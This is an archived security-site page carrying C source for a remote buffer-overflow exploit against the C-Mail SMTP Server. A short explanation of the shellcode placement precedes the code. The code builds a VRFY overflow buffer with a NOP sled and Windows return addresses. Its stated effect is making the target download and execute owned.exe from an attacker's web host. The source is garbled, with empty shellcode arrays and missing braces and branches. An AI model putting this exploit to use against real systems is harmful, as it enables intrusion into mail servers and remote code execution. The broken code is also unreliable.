Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Windows :: c-mail1.c

C-Mail SMTP Server Exploit

	This is an exploit for a buffer overflow in the C-Mail SMTP Server
which recently had an advisory posted for it by the Eeye Digital Security Team.  I
would like to thank them for telling me about the vulnerability before it was
	Everything is standard in the exploit except that the shellcode is placed
before the return address on the buffer, because there isn't enough room after it.
To execute the shellcode we put a small stub of code after our return address and
have the return address point to a jmp esp.  The small stub of code when executed
points ecx to our shellcode and jumps to it.  We can do this because ecx will
always point to the start of our shellcode's original buffer before its copied at
overflow time (at least in this version).  This has been tested with only one
version of C-Mail, unfortunately I don't have the version number written down and
my evaluation period is up :).  I can say that it is the version which was being
distributed from their web site about 2 months ago.  There are return addresses in
the following exploit which should work under win95, 98 and NT.  To
compile it under win32 just remove the "#define UNIX".


<---------------------------CUT HERE------------------------>

#define UNIX

#ifndef UNIX
 #include <stdio.h>
 #include <fcntl.h>
 #include <winsock.h>
 #include <io.h>
 #define CLOSE _close
 #define SLEEP Sleep

 #include <stdio.h>
 #include <unistd.h>
 #include <fcntl.h>
 #include <netdb.h>
 #include <netinet/in.h>
 #include <sys/socket.h>
 #include <arpa/inet.h>
 #define CLOSE close
 #define SLEEP sleep

   CMail Exploit by _mcp_ <>
   Sp3 return address and win32 porting by acpizer <>

const unsigned long OFFSET = 635;
const unsigned long LENGTH = 650;
const unsigned long CODEOFFSET = 11;

char code[] =

    /*This is the encrypted /~pw/owned.exe we paste at the end */
char dir[] =


   Below is:

   add ecx, 10
   jmp ecx

   We use this to transfer to our code that we store before the return address on
our overflow buffer, We have to do this because there isn't near enough room
behind the return address to include the code.  If we weren't lucky enough to have
a register pointing virtually right to our code we could include a routine that
searches memory for specific dword in a specific direction relative to a
register's value then transfers control to our code located there.  The code can
also be easyly snuck in on another buffer by doing this.


char controlcode[] =

unsigned int getip(char *hostname)
  struct hostent *hostinfo;
  unsigned int binip;

  hostinfo = gethostbyname(hostname);

      printf("cant find: %s\n",hostname);
#ifndef UNIX
  memcpy((char  *)&binip, hostinfo -> h_addr, hostinfo -> h_length);
  bcopy(hostinfo -> h_addr, (char  *)&binip, hostinfo -> h_length);

int usages(char *fname)
      printf("Remote Buffer Overflow exploit v1.2 by _mcp_ <>.\n");
      printf("Win32 Porting and nt sp3 address By Acpizer <>\n");
      printf("Usages: \n");
      printf("%s <target host> <www site> <return address>\n", fname);
      printf("        <return address> = 0xBFF79243\n");
      printf("NT SP3:\n");
      printf("        <return address> = 0x77E53FC7\n");
      printf("NT SP4:\n");
      printf("        <return address> = 0x77E9A3A4\n");
      printf("Will make <target host> running CSMMail download, save, and\n");
      printf("execute http://<www site>/~pw/owned.exe\n");



main (int argc, char *argv[])
  int sock,targethost,sinlen;
  struct sockaddr_in sin;
  static unsigned char buffer[20000];
  unsigned char *ptr,*ptr2;
  unsigned long ret_addr;
  int len,x = 1;
  unsigned long rw_mem;

#ifndef UNIX
  WORD wVersionRequested;
  WSADATA wsaData;
  int err;

  wVersionRequested = MAKEWORD( 2, 2 );
  err = WSAStartup( wVersionRequested, &wsaData );
  if (err != 0) exit(1);
  if (argc < 4) usages(argv[0]);

  targethost = getip(argv[1]);

   len = strlen(argv[2]);
    if (len > 60)
       printf("Bad http format!\n");

   ptr = argv[2];
   while (x <= len)
        (*ptr)++;           /*Encrypt the http ip for later parsing */

  if( (sscanf(argv[3],"0x%x",(unsigned long *) &ret_addr)) == 0)
      printf("Input error, the return address has incorrect format\n");

  sock = socket(AF_INET,SOCK_STREAM,0);

  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = targethost;
  sin.sin_port = htons(25);
  sinlen = sizeof(sin);

  printf("Starting to create the egg\n");
  ptr = (char *)&buffer;
  strcpy(ptr,"VRFY ");

  memset((void *)ptr, 0x90, 7000);

  memcpy ((void *) ptr2,(void *)&ret_addr, 4);
  /* Put the code on the stack that transfers control to our code */
  memcpy((void *) ptr2, (void *)&controlcode, (sizeof(controlcode)-1) );


  memcpy((void *) ptr,(void *)&code,strlen(code));

  (char *) ptr2 = strstr(ptr,"\xb1");
  if (ptr2 == NULL)
       printf("Bad shell code\n");
  (*ptr2)+= len + ( sizeof(dir) );

   (char *) ptr2 = strstr(ptr,"\x83\xc6");
     if (ptr2 == NULL)
        printf("Bad shell code\n");


  ptr2+= 2;

  (*ptr2)+= len + 8;

  memcpy((void *) ptr, (void *) argv[2], len);   /*Parse in the http
  site's info */
  memcpy((void *) ptr,(void*) &dir, (sizeof(dir)-1) );

  printf("Made the egg\n");

    if ( connect(sock, (struct sockaddr *)&sin, sinlen) == -1)

#ifndef UNIX
	send(sock, (char *)&buffer, strlen((char *)&buffer), 0);
    write(sock, &buffer, strlen((char *)&buffer) ); /* strlen((char
*)&buffer */
    printf("Sent the egg\n");
#ifndef UNIX

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH